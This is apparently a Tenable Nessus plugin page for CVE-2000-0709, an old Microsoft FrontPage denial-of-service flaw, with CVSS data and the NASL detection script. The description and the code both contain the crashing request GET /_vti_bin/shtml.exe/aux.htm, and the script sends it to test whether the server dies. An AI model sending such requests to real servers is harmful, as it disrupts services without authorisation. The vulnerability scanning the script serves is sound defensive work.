CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
99.6%
It is possible to disable FrontPage extensions on the remote host by requesting a URL containing the name of a DOS device via shtml.exe, such as :
GET /_vti_bin/shtml.exe/aux.htm
An attacker could use this flaw to disable FrontPage.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(10497);
script_version("1.35");
script_cvs_date("Date: 2018/11/15 20:50:25");
script_cve_id("CVE-2000-0709");
script_bugtraq_id(1608);
script_name(english:"Microsoft FrontPage Extensions MS-DOS Device Request DoS");
script_summary(english:"Disables Microsoft Frontpage extensions");
script_set_attribute(attribute:"synopsis", value:"The web server has a denial of service vulnerability.");
script_set_attribute(attribute:"description", value:
"It is possible to disable FrontPage extensions on the remote host by
requesting a URL containing the name of a DOS device via shtml.exe,
such as :
GET /_vti_bin/shtml.exe/aux.htm
An attacker could use this flaw to disable FrontPage.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Aug/340");
script_set_attribute(attribute:"see_also", value:"http://msdn.microsoft.com/workshop/languages/fp/2000/winfpse.asp");
script_set_attribute(attribute:"solution", value:"Upgrade to FrontPage 1.2 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/08/17");
script_set_attribute(attribute:"plugin_publication_date", value:"2000/08/24");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"Web Servers");
script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
script_dependencie("find_service1.nasl", "http_version.nasl", "www_fingerprinting_hmap.nasl");
script_require_keys("Settings/ParanoidReport", "www/iis");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = get_http_port(default:80);
if (http_is_dead(port: port)) exit(1, "The web server on port "+port+" is already dead.");
sig = get_http_banner(port: port, exit_on_fail: 1);
if (! egrep(string: sig, pattern: "^Server:.*Microsoft-IIS"))
exit(0, "The web server on port "+port+" is not IIS.");
r1 = http_send_recv3(method:"GET", item:"/_vti_bin/shtml.exe", port:port, exit_on_fail: 1);
if (ereg(pattern:"HTTP/[0-9]\.[0-9] 200 .*", string: r1[0]))
{
r2 = http_send_recv3(
method:"GET",
item:"/_vti_bin/shtml.exe/aux.htm",
port:port
);
r3 = http_send_recv3(method:"GET", item:"/_vti_bin/shtml.exe", port:port, exit_on_fail: 0);
if (isnull(r3)) security_warning(port);
}